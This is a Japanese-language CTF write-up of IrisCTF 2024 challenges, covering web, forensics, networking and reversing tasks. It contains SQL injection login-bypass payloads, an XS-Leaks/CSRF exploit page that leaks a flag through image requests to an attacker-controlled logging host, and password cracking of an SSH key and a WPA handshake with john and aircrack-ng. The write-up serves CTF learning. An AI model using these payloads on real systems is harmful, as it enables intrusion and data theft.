はまやんはまやんはまやん

hamayanhamayan's blog

IrisCTF 2024 Writeup

CTFtime.org / IrisCTF 2024

[Web Exploitation] What's My Password?

[baby] Oh no! Skat forgot their password (again)!
Can you help them find it?

以下のようにDBにフラグが入っている。

CREATE TABLE IF NOT EXISTS users ( username text, password text );
INSERT INTO users ( username, password ) VALUES ( "root", "IamAvEryC0olRootUsr");
INSERT INTO users ( username, password ) VALUES ( "skat", "fakeflg{fake_flag}");
INSERT INTO users ( username, password ) VALUES ( "coded", "ilovegolang42");

ソースコードを読むとSQL Injectionができる所がある。

qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND password = \"%s\"", input.Username, input.Password)

これにうまく合うようにいつもの感じでpayloadを送る。
{"username":"aaa","password":"\" OR \"\"=\""}を送ると
SQL文は SELECT * FROM users WHERE username = "aaa" AND password = "" OR ""=""となるので{"username":"root","password":"IamAvEryC0olRootUsr"}が帰ってくる。
ok

フラグを持っているのはskatユーザーなので {"username":"aaa","password":"\" OR username = \"skat"} を送るとフラグが得られる。

[Web Exploitation] LameNote

Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}
Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)

THIRD BLOOD!

Noteを投稿できるサイトが与えられる。投稿したNoteは自分のみ閲覧可能。
irisctf{[a-z_]+}のようにフラグの文字制限がある。
ソースコードを巡回すると、検索機能があるのでXS-Leaksの可能性から考えていく。
CSPが結構厳しく、外部に通信できそうなのはimg-srcくらいしかない。
imgの通信の有無で判定か…と考えていくと解法が見つかった。

まずはbotの動きを見てみる。

const context = await browser.createIncognitoBrowserContext();
const page = await context.newPage();
await page.goto("https://lamenote-web.chal.irisc.tf/");
const frameWrapper = await page.waitForSelector('iframe');
const frame = await frameWrapper.contentFrame();
await frame.type('input[name=title]', 'Flag');
await frame.type('input[name=text]', 'irisctf{FAKEFLAGFAKEFLAG}');
await frame.type('input[name=image]', 'https://i.imgur.com/dQJOyoO.png');
await frame.click('form[method=post] button[type=submit]');
await page.waitForTimeout(1000);
await frameWrapper.dispose();

このようにサイトを開き、flagを含んだNoteを投稿する。その後、与えられたURLを開いて60秒待つという構成になっている。
60秒という時間もXS-Leaks感が出ている。

注目すべきは以下にあるGET /searchエンドポイント。

@app.route("/search")
@check_request
def search():
    query = request.args.get("query", "")
    user = request.cookies.get("user", None)
    results = []
    notes_copy = copy.deepcopy(NOTES)
    for note in notes_copy.values():
        if note["owner"] == user and (query in note["title"] or query in note["text"]):
            results.append(note)
            if len(results) >= 5:
                break

    if len(results) == 0:
        return "<!DOCTYPE html><body>No notes.</body>"

    if len(results) == 1:
        return render_note(results[0])
    
    return "<!DOCTYPE html><body>" + "".join("<a href='/note/" + note["id"] + "'>" + note["title"] + "</a> " for note in results) + "</body>"

見ると、flagが入っているtextフィールドに対してキーワード検索ができるようになっている。
なので、うまく調整して、flagのprefixを入力して一致したときと一致しなかったときの挙動の違いを生み出せば良い。
ここで色々考えると1つアイデアが出て、それが正答につながった。
答えから言ってしまうと、キーワード検索に一致する項目が1つか2つ以上にした場合の挙動の違いを利用してXS-Leaksする。

一致する項目が1つであれば return render_note(results[0]) が実行されるし、
2つ以上であれば return "<!DOCTYPE html><body>" + "".join("<a href='/note/" + note["id"] + "'>" + note["title"] + "</a> " for note in results) + "</body>" が実行される。
ここで、CSPでimgタグの中身のみ外部通信が許可されていることを考慮してみると、render_noteで表示する方にはimgタグが含まれるため、imgタグによる通信が発生するし、2つ以上であればimgタグは含まれないのでimgタグによる通信が発生しなくなる。
これは使えそうな、外部から観測できる違いになる。

botがフラグをNoteで投稿した直後では、フラグの正しいprefixを入力すると一致する項目が1つで、間違ったprefixを入力すると一致する項目が0個になる。
この時も挙動は異なるが、任意のimgタグは差し込めないので観測することができない。
では、この時、可能性のあるprefixをimgタグで判別できるようにすべて入力していたらどうだろうか。
具体的にはirisctf{が既知であるときに
textがirisctf{aでimgのURLをhttps://[yours].requestcatcher.com/irisctf{aであるNote、
textがirisctf{bでimgのURLをhttps://[yours].requestcatcher.com/irisctf{bであるNote、
textがirisctf{cでimgのURLをhttps://[yours].requestcatcher.com/irisctf{cであるNote、
...
を投稿しておいた場合である。
こうすると、フラグの正しいprefixを入力すると一致する項目が2つで、間違ったprefixを入力すると一致する項目が1個になる。
このとき、間違ったprefixを入力したときには一致する項目が1個なので、imgタグ込みで表示されることになり、この時にrequestcatcherがリクエストを受け取ることができる。
だが、正しいprefixを入力したときは一致する項目が2個になるので、登録したrequestcatcherのURLはimgタグとして表示されず、リクエストが飛ばない。
この違いを利用する。
よって、[a-z]の全通りのNoteを登録して、[a-z]の全通りのprefixで検索をしてみて、リクエストが飛んでこなかったものが正しいprefixということになる。

ここまでの概念を理解していれば後は実装するだけ。以下のようなコードで実装した。

<body>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    const prefix = "irisctf{please_";
    const chars = "abcdefghijklmnopqrstuvwxyz_";
    setTimeout(async () => {
        for (var i in chars) {
            form.title.value = prefix + chars[i];
            form.text.value = prefix + chars[i];
            form.image.value = "https://[yours].requestcatcher.com/" + prefix + chars[i];
            form.submit();
            await sleep(500);
        }
        for (var i in chars) {
            form2.query.value = prefix + chars[i];
            form2.submit();
            await sleep(500);
        }
    }, 0);
</script>
<img src="https://[yours].requestcatcher.com/start">
<iframe name="dummyFrame" id="dummyFrame"></iframe>
<form method="POST" target="dummyFrame" id="form" action="https://lamenote-web.chal.irisc.tf/create">
    <input name="title">
    <input name="text">
    <input name="image">
</form>
<form method="GET" target="dummyFrame" id="form2" action="https://lamenote-web.chal.irisc.tf/search">
    <input name="query">
</form>
</body>

CSRF対策は特にないため、POSTリクエストを使うことでNoteの登録を強制させることができる。
だが、どれも@check_requestというのが付いていてiframeから実行させる必要があるため、iframeを用意して、formのtargetでiframeに表示させている。
それ以外は特に特筆すべきところはなく、formを使ってPOSTとGETでCSRFをする形を取っている。
上記のコードではirisctf{please_までが既知の状態の攻撃コードである。
これを実行させると最初のforループで[a-z]の全通りを付けたprefixのNoteを登録していて、
次のforループで[a-z
]の全通りを付けたprefixで検索をしてみている。
これを動かしながらrequestcatcherを見てみると、irisctf{please_aからirisctf{please__までのリクエストが登録時に来て、
次にirisctf{please_aからirisctf{please__までのprefixが一致しないものが帰ってくる。
後者のリクエスト群の中に正答である irisctf{please_n が含まれて来ないことが動かしてみると分かる。

自分はここまで自動化して、あとは目視で欠落している文字を探して1文字ずつ動かしながら特定していった。

[Forensics] Not Just Media

I downloaded a video from the internet, but I think I got the wrong subtitles.
Note: The flag is all lowercase.

chal.mkvという動画ファイルが与えられる。
video - Extracting Subtitles from mkv file - Super Userを参考にffmpegで字幕を持って来た。

我們歡迎您接受一生中最大的挑戰,即嘗試理解這段文字的含義

とある。日本語では「この文章の意味を理解しようとする、人生最大の挑戦を歓迎する!」らしい。
同じページで紹介されているMKVCleaverを使ってみると、添付ファイルが含まれていた。
必要な外部依存バイナリも入れて抜き出してみると、中国語のフォントに加えて、FakeFont_0.ttfというファイルも含まれていた。
FontForgeで開いて巡回すると、中国語の一部の文字にアルファベットがフォントとして登録されているのに気が付く。
そういうことねということで、FakeFont_0.ttfをインストールして、メモ帳に上の字幕を入れてフォントをFakeFontに切り替えるとフラグが出てくる。

[Forensics] skat's SD Card

"Do I love being manager? I love my kids. I love real estate. I love ceramics. I love chocolate. I love computers. I love trains."

SDカードのイメージが与えられる。とりあえずFTK Imagerで開くとraspberrypiだった。
/home/skat以外は特に面白くなさそうだったので、とりあえずこのフォルダを重点的に見る。

/home/skat/.bash_historyにgit clone履歴があった。
git clone git@github.com:IrisSec/skats-interesting-things.git
/home/skat/.ssh/id_rsaも取れているのでレポジトリを取得することができそう。
実際にやってみると、id_rsaにはパスワードがかかっていた。

id_rsaのパスワードを辞書攻撃で破る。
教科書通りやる。

$ /usr/share/john/ssh2john.py home_skat/skat/.ssh/id_rsa > h

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (home_skat/skat/.ssh/id_rsa)     
1g 0:00:00:03 DONE (2024-01-06 22:09) 0.3030g/s 19.39p/s 19.39c/s 19.39C/s 123456..charlie
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

passwordだったので、これを使ってレポジトリをcloneすることができた。
いつものように過去コミットに面白い情報が無いかgit log -pで見てみると、フラグが消されていて、提出すると答えだった。

[Networks] skat's Network History

"I love cats."
Note: this challenge is a continuation to Forensics/skat's SD Card. You are dealing with the same scenario. skats-sd-card.tar.gz is the same file from that challenge (SHA-1: 4cd743d125b5d27c1b284f89e299422af1c37ffc).

前問であるskat's SD CardではSDカードのイメージファイルだけだったが、
追加でネットワークキャプチャのcapファイルと、sslkeyfileが与えられる。

とりあえず開いてみると暗号化された無線通信が取得されている。
登録済みパスワードがディスクダンプの/etc/らへんから取れた気が…と思って探すとある。
/etc/NetworkManager/system-connections/skatnet.nmconnectionに書いてある。

[wifi-security]
auth-alg=open
key-mgmt=wpa-psk
psk=agdifbe7dv1iruf7ei2v5op

念のためAircrack-ngでこのpskに書かれたパスワードで試すとクラック成功する。
クラックできたら、設定 -> IEEE 802.11 -> Decryption keysのedit -> wpa-pwdにして入力すると、通信が復号化される。
sslkeyfileも設定 -> TLSから適用しておこう。

DNSを見てみるとNo.6122,6140でpastebin.comが名前解決されていていかにも怪しい。
周辺を調べると、No.6197にフラグが書いてあった。

[Networks] Copper Selachimorpha

Joe Schmoe was using his mobile hotspot and downloading some files. Can you intercept his communications?
Hint! Think very deeply about the premise of the challenge. You need to do a lot of analysis to recover the rest of the flag.

暗号化された無線通信が書いてある。
パスワードが分からないことにはな…と思いながらaircrack-ngとrockyou.txtで探すと見つかる。

      [00:01:57] 894908/14344392 keys tested (7729.15 k/s)

      Time left: 29 minutes, 0 seconds                           6.24%

                          KEY FOUND! [ humus12345 ]


      Master Key     : 26 C8 6B 47 25 1E 06 AF 93 FB 5D D8 65 31 C8 F6
                       63 DE FA 79 40 DF 81 CB 87 0A 9C 3D 1E 49 24 FD

      Transient Key  : 29 E7 72 00 5A C8 40 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

      EAPOL HMAC     : 37 CC 99 33 10 76 AC 0C D2 11 96 09 E4 8F 22 57

FTP通信を見ると、パスワードにフラグの一部が書いてある。

220 (vsFTPd 3.0.3)
USER joeschmoe
331 Please specify the password.
PASS irisctf{welc0me_t0_th3_n3twork_c4teg
230 Login successful.

ftp通信のファイルを見ると3つのよく似たファイルがダウンロードできる。
バイナリで比較してみると微妙にかぶっていたり、違っていたりする。
多分差分をうまくマージして元のファイルを復元するんだろうが…
きついーと言いながらマージのツールを書く。
バイナリの各バイトの先頭から共通しているかを確認して、
2つ以上共通していればうまく取れているとして採用する。
3すくみの状態になったら、各バイトの先頭10バイトが他のファイルに無いかを確認して、
より可能性が高い方を選択するようにした。
beautiful_fish_0.png, beautiful_fish_1.png, beautiful_fish_2.png
3ファイルを保存しておいて、以下のコードでゴリゴリマージするとフラグが出てきた。

png_bytes = []
for i in range(3):
    with open(f"beautiful_fish_{i}.png","rb") as fp:
        png_bytes.append(fp.read())

with open(f"out.png","wb") as fp:
    while True:
        while 1 <= len(png_bytes) and len(png_bytes[0]) == 0:
            png_bytes = png_bytes[1:]
        while 2 <= len(png_bytes) and len(png_bytes[1]) == 0:
            if len(png_bytes) == 2:
                png_bytes = [png_bytes[0]]
            else:
                png_bytes = [png_bytes[0], png_bytes[2]]
        while 3 <= len(png_bytes) and len(png_bytes[2]) == 0:
            png_bytes = png_bytes[:-1]
        
        if len(png_bytes) == 0:
            break

        if len(png_bytes) == 1:
            print('My assumption is wrong... 1')
            exit(1)
        
        if len(png_bytes) == 2:
            if png_bytes[0][0] == png_bytes[1][0]:
                fp.write(png_bytes[0][0].to_bytes(1, 'big'))
                png_bytes[0] = png_bytes[0][1:]
                png_bytes[1] = png_bytes[1][1:]
                continue
            else:
                print('My assumption is wrong... 2')
                exit(2)
        
        # len(png_bytes) == 3
        if (png_bytes[0][0] == png_bytes[1][0]) and (png_bytes[2][0] == png_bytes[1][0]):
            fp.write(png_bytes[0][0].to_bytes(1, 'big'))
            png_bytes[0] = png_bytes[0][1:]
            png_bytes[1] = png_bytes[1][1:]
            png_bytes[2] = png_bytes[2][1:]
        elif png_bytes[0][0] == png_bytes[1][0]:
            fp.write(png_bytes[0][0].to_bytes(1, 'big'))
            png_bytes[0] = png_bytes[0][1:]
            png_bytes[1] = png_bytes[1][1:]
        elif png_bytes[0][0] == png_bytes[2][0]:
            fp.write(png_bytes[0][0].to_bytes(1, 'big'))
            png_bytes[0] = png_bytes[0][1:]
            png_bytes[2] = png_bytes[2][1:]
        elif png_bytes[1][0] == png_bytes[2][0]:
            fp.write(png_bytes[1][0].to_bytes(1, 'big'))
            png_bytes[1] = png_bytes[1][1:]
            png_bytes[2] = png_bytes[2][1:]
        else:
            idx01 = png_bytes[1].find(png_bytes[0][:10])
            idx02 = png_bytes[2].find(png_bytes[0][:10])
            if 0 <= idx01 or 0 <= idx02:
                if idx02 < idx01:
                    fp.write(png_bytes[1][0].to_bytes(1, 'big'))
                    png_bytes[1] = png_bytes[1][1:]
                    continue
                else:
                    fp.write(png_bytes[2][0].to_bytes(1, 'big'))
                    png_bytes[2] = png_bytes[2][1:]
                    continue

            idx10 = png_bytes[0].find(png_bytes[1][:10])
            idx12 = png_bytes[2].find(png_bytes[1][:10])
            if 0 <= idx10 or 0 <= idx12:
                if idx12 < idx10:
                    fp.write(png_bytes[0][0].to_bytes(1, 'big'))
                    png_bytes[0] = png_bytes[0][1:]
                    continue
                else:
                    fp.write(png_bytes[2][0].to_bytes(1, 'big'))
                    png_bytes[2] = png_bytes[2][1:]
                    continue

            idx20 = png_bytes[0].find(png_bytes[2][:10])
            idx21 = png_bytes[1].find(png_bytes[2][:10])
            if 0 <= idx21 or 0 <= idx20:
                if idx20 < idx21:
                    fp.write(png_bytes[1][0].to_bytes(1, 'big'))
                    png_bytes[1] = png_bytes[1][1:]
                    continue
                else:
                    fp.write(png_bytes[0][0].to_bytes(1, 'big'))
                    png_bytes[0] = png_bytes[0][1:]
                    continue
            
            print('My assumption is wrong... 3')
            exit(3)

[Reverse Engineering] The Johnson's

Please socialize with the Johnson's and get off your phone. You might be quizzed on it!

解凍ファイルを確認する。

$ file *
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f9dc64e1f81cfd02193274da700f1de05742fd83, for GNU/Linux 3.2.0, not stripped

ghidraで中身を見てみるとcheck関数で以下の条件がすべてtrueならフラグがもらえる。

chosenFoods.James != 2
chosenFoods.William != 2
chosenFoods.William != 3
chosenFoods.Alice == 4

chosenColors.Emma != 1
chosenColors.Alice != 3
chosenColors.Emma != 3
chosenColors.William == 2
chosenColors.James != 4

という訳でパターンを作る

chosenColors.Alice 1 red
chosenColors.Emma 4 yellow
chosenColors.James 3 green
chosenColors.William 2 blue

chosenFoods.Alice 4 chicken
chosenFoods.Emma 2 pasta
chosenFoods.James 3 steak
chosenFoods.William 1 pizza

数字と文字の対応はmain関数を見れば分かる。
これをnetcatの窓口に報告すればフラグがもらえる。

[Reverse Engineering] Rune? What's that?

Rune? Like the ancient alphabet?

golangrune関数を使ってフラグの文字列が難読化されている。
文字が一対一対応のように変換されていて変換ルーチンもわかっているので先頭から1文字ずつ
総当たりでprefixが一致するように探していこう。
コードを流用しつつ、以下のように1文字ずつ特定するコードを書いた。

package main

import (
    "fmt"
    "os"
    "strings"
    "io/ioutil"
    "bytes"
)

func gen(payload string) {
    runed := []string{}
    z := rune(0)

    for _, v := range payload {
        runed = append(runed, string(v+z))
        z = v
    }

    payload = strings.Join(runed, "")

    file, err := os.OpenFile("the2", os.O_RDWR | os.O_CREATE, 0644)
    if err != nil {
        fmt.Println(err)
        return
    }

    defer file.Close()
    if _, err := file.Write([]byte(payload)); err != nil {
        fmt.Println(err)
        return
    }
}

func check() bool {
    b1, _ := ioutil.ReadFile("the")
    b2, _ := ioutil.ReadFile("the2")
    return bytes.HasPrefix(b1, b2)
}

func main() {
    flag := "irisctf{i_r3411y"
    for i := 0; i < 256; i++ {
        gen(flag + string(i))
        if check() {
            fmt.Println(flag + string(i))
        }
    }
}